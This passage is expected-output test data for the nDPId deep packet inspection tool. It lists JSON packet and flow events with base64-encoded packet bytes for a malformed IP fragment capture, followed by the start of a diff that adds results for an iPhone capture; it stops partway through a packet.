+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214991,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215001,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215011,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215022,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215032,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215151,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215165,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215176,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215219,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215229,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215240,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215250,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215260,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215270,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215281,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215291,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215302,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215314,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215330,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215340,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215356,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215367,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215377,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215387,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215407,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215450,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215504,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215514,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215524,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215535,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215544,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215552,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215560,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215570,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215579,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215593,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215605,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215616,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":215628,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAmxrZGE+TDxN"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} diff --git a/test/results/iphone.pcap.out b/test/results/iphone.pcap.out new file mode 100644 index 000000000..ccf2c5164 --- /dev/null +++ b/test/results/iphone.pcap.out @@ -0,0 +1,454 @@ +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"iphone.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1582454552576,"flow_last_seen":0,"flow_tot_l4_data_len":518,"flow_min_l4_data_len":518,"flow_max_l4_data_len":518,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01081{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454552,"pkt_ts_usec":576659,"pkt_caplen":552,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":552,"pkt_l4_len":518,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAAIaAFkAAEAR8inAqAIBwKgC\/0RcRFwCBr34eyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiaG9zdF9pbnQiOiAzMzA0MDI2MjQwMTMxNjcxMTI3MTc3MTQ1ODMyOTcxNTM2ODg0ODIsICJkaXNwbGF5bmFtZSI6ICIiLCAibmFtZXNwYWNlcyI6IFsyNzUwMzcwNTYwLCA3ODUyNjYxNzcsIDE1MjYyNjMwNDUsIDEzMzg2NTkyMDEsIDE0ODE5MzM3LCA0ODEwNTkxNzYwLCA0NTE0NzI2NTgsIDczNjM0MTUyOCwgOTM4ODEzODQ5LCAxMjY3Njk1MTA5LCA1NDQwNDA3MDcyLCA1ODM0NDk5NiwgOTk2MzA2MjE1LCA1MzAzMzAxMjQ4LCAyODUyMTYwNywgNDA1NjQ2MjU5MiwgNzA1MzYyNzE4NCwgMTUyMjE3NzU4NywgMTQyMTExNDM5OSwgMTI1MjExNjQyOSwgOTk0Njk3NzMsIDcwNzk2MzY2ODgsIDE3Njk2NDMwNywgMTI1NTQwNTY2LCAxMDQ3NDI4MTg5LCA0NzE2MTkwMDQ4LCA1NDY3MTYzMDg4LCAxMTk1MDQ0MDcxLCA5Njg1MzIyNCwgMTc2MDk5NjMsIDY0NzgzMDM0NDAsIDUxMTcwNjY0MiwgNjI5Nzk1NTE4NC